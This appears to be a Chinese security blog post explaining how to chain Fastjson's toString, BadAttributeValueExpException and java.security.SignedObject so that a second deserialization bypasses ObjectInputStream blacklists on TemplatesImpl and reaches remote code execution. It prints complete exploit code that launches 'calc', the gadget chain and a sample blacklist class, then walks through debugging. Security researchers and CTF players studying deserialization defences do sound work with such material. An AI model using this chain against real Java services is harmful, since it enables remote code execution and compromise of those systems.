FastJson结合二次反序列化绕过黑名单

VSole2023-06-16 09:54:48

该利用链可以在fastjson多个版本实现RCE,并且借助SignedObject绕过第一层安全的resolveClass对于TemplatesImpl类的检查。

条件如下:

  1. 1. ObjectInputStream(反序列化)输入数据可控
  2. 2. 引入Fastjson依赖

FastJson之不安全的反序列化利用

说起来还是AliyunCTF那道ezbean的非预期,很多师傅使用FastJson#toString方法触发TemplatesImpl#getOutputProperties实现RCE

gadget

BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties

FastJson反序列化并不是通过ObjectInputStream.readObject()还原对象,而是在反序列化的过程中自动调用类属性的setter/getter方法,将JSON字符串还原成对象。

因此从FJ 1.2.49开始,JSONArrayJSONObject开始重写了resolveClass,过滤了诸如TemplatesImpl的危险类。而ezbean那道题使用了一个不安全的ObjectInputStream进行反序列化。

这也就导致了选手通过引用的数据类型从而不执行resolveClass以绕过其对危险类的检查,导致了非预期。

exp

List list = new ArrayList<>();
        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
        list.add(templates);          //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);           //此时在hash表中查到了映射,因此接下来以引用形式输出
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd,"val",jsonArray);
        list.add(bd);
        //字节
        byte[] payload = SerializerUtils.serialize(list);
        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
        ois.readObject();

问题

似乎这样的方式只能在目标环境使用了一个不安全的ObjectInputStream的场景下应用。

因为templates是以引用的形式来绕过FJ的resolveClass方法的黑名单检查,因此在(见exp第三行)必须把templates添加到list中,所以如果重写了ObjectInputStream过滤templates,这样的方法就失效了。

public class MyInputStream extends ObjectInputStream {
    private final List BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");
    public MyInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    protected Class resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
        if (this.BLACKLIST.contains(cls.getName())) {
            throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
        } else {
            return super.resolveClass(cls);
        }
    }
}

解决方案也很简单,就是通过二次反序列化绕过。

SignedObject

简单介绍下SignedObject,摘录自Poria师傅博客

当防御者重写了ObjectInputStream类,并且再resolveClass方法定义了反序列化黑名单类时,此时就需要通过二次反序列化绕过。

顾名思义,二次反序列化攻击就是在受害服务器进行第一次反序列化的过程中借助某些类的方法进行第二次反序列化。而第二次反序列化是没有ban恶意类的,通过这种方法间接的实现bypass黑名单。

阅读该类注释可知这个类可以存放一个序列化数据并且有一个属于该数据的签名。

More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.

再观察getObject方法,可以看到其中进行了一次反序列化,这完美符合了我们的要求,并且该类是jdk内置类。

事实上,该类主要用于加密反序列化数据,防止攻击者截获数据包从而解析序列化数据(竟然有些讽刺)。

/**
     * Retrieves the encapsulated object.
     * The encapsulated object is de-serialized before it is returned.
     *
     * @return the encapsulated object.
     *
     * @exception IOException if an error occurs during de-serialization
     * @exception ClassNotFoundException if an error occurs during
     * de-serialization
     */
    public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

而要反序列化的this.content可以通过构造方法赋值,并且该方法是一个相对容易触发的getter方法,所以问题转化为了如何触发SignedObject#getObject。

解决方案

最好找只依赖于FastJson的包的gadget,使得攻击面最大。

而正好JsonObject#toString可以触发任意getter方法,而toString又可以通过BadAttributeValueExpException#readObject调用,因此整条链子就通了。

gadget
* 绕过第一次的TemplatesImpl黑名单检查
    BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject
* 二次反序列化
    * 引用绕过JSON自带resolveClass的黑名单检查
        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass
exp
package gadget.fastjson;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import gadget.doubleunser.MyInputStream;
import util.GadgetUtils;
import util.ReflectionUtils;
import util.SerializerUtils;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.List;
public class FJ2 {
    public static void main(String[] args) throws Exception{
        List list = new ArrayList<>();
        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
        list.add(templates);          //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);           //此时在handles这个hash表中查到了映射,后续则会以引用形式输出
        BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd2,"val",jsonArray2);
        list.add(bd2);
        //二次反序列化
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
        //触发SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);
        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd1,"val",jsonArray1);
        //验证
        byte[] payload = SerializerUtils.serialize(bd1);
        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));  //再套一层inputstream检查TemplatesImpl,不可用
        ois.readObject();
    }
}

调试

通过SingedObject绕过了黑名单对于Templates的校验。触发BadAttributeValueExpException#readObject,通过gf.get获取JsonArray。

从JSON#toString触发JSON#toJSONString,并在下图断点处getter方法。

进入到JSONSerializer#write方法,首先获取object的类名,随后,将触发ListSerializer。

接下来触发ListSerializer#write一段很长的方法,主要就是进入到for循环把list的东西取出来进行后续操作。

后面比较复杂,总之就是通过createJavaBeanSerializer创建ObjectSerializer对象。通过ASM技术创建目标类(在这里是SignedObject)进行后续的处理。

进入到了ASMSerializerFactory#generaterWriteMethod,可以看到他就是把SignedObject重构出来了。获取到该类的三个字段并一个一个触发对应的getter方法。

最终触发了SignedObject#getObject进行了二次反序列化。

同样的,通过了JSONArray#toString最终通过ASMSerializerFactory#_get触发TemplatesImpl#getOutputProperties方法实现RCE。

结语

fastjson的利用往往通过parseObject触发反序列化,此次探索是在readObject反序列化场景下进行。真实场景下不太了解,emm可能在ctf中可以通过这条链子打个非预期吧。

由于笔者水平不高,希望师傅们多多指正。

序列化fastjson
本作品采用《CC 协议》,转载必须注明作者和本文链接
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
HW蓝队初级面试总结
2022-10-12 07:00:02
一、sql注入原理、分类、绕过原理:产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sql语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。
Fastjson Develop Team发布安全公告,修复了一个存在于Fastjson1.2.80 及之前版本中的反序列化漏洞。漏洞编号:暂无,漏洞威胁等级:高危。
本篇文章是Fastjson框架漏洞复现,记录了近几年来爆出的Fastjson框架漏洞,主要分为四个部分:Fastjson简介、Fastjson环境搭建、Fastjson漏洞复现、Fastjson工具介绍。 本篇文章由浅入深地介绍了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用对Fastjson进行RCE。在学习Fastjson过程中阅读了几十篇中英文Fastjson
Dubbo Kryo & FST RCE
2022-11-25 15:31:47
影响版本Dubbo 2.7.0 to 2.7.8Dubbo 2.6.0 to 2.6.9Dubbo all 2.5.x versions 环境复现 安装zookeeper和dubbo-samples,用idea打开dubbo-samples-api,然后修改其中的pom.xml如下: 注意,dubbo-common必须 ≤2.7.3版本。在Dubbo<=2.7.3中fastjson的版本≤1.2.46 ,这也是我们这个洞的利用点,不过这里复现使用的更高版本所以需要添加依赖, com.alibabagroupId> fastjsonartifactId> 1.2.46version>dependency>. 案例漏洞分析 FTS反序列化FTS反序列化发生在RPC协议反序列化
如何攻击Java Web应用
2021-07-12 08:50:42
越来越多的企业采用Java语言构建企业Web应用程序,基于Java主流的框架和技术及可能存在的风险,成为被关注的重点。
项目安装迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。
FastJson结合二次反序列化绕过黑名单
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于具有执行效率高的特点,应用范围广泛。
Fastjson序列化远程代码执行漏洞 Fastjson 是一款开源的高性能 JSON 解析处理库,在国内被广泛使用。5 月 23 日,Fastjson 官方发布安全通告,声明修复了一处新的反序列化漏洞: https://github.com/alibaba/fastjson/wiki/security_update_20220523
VSole
网络安全专家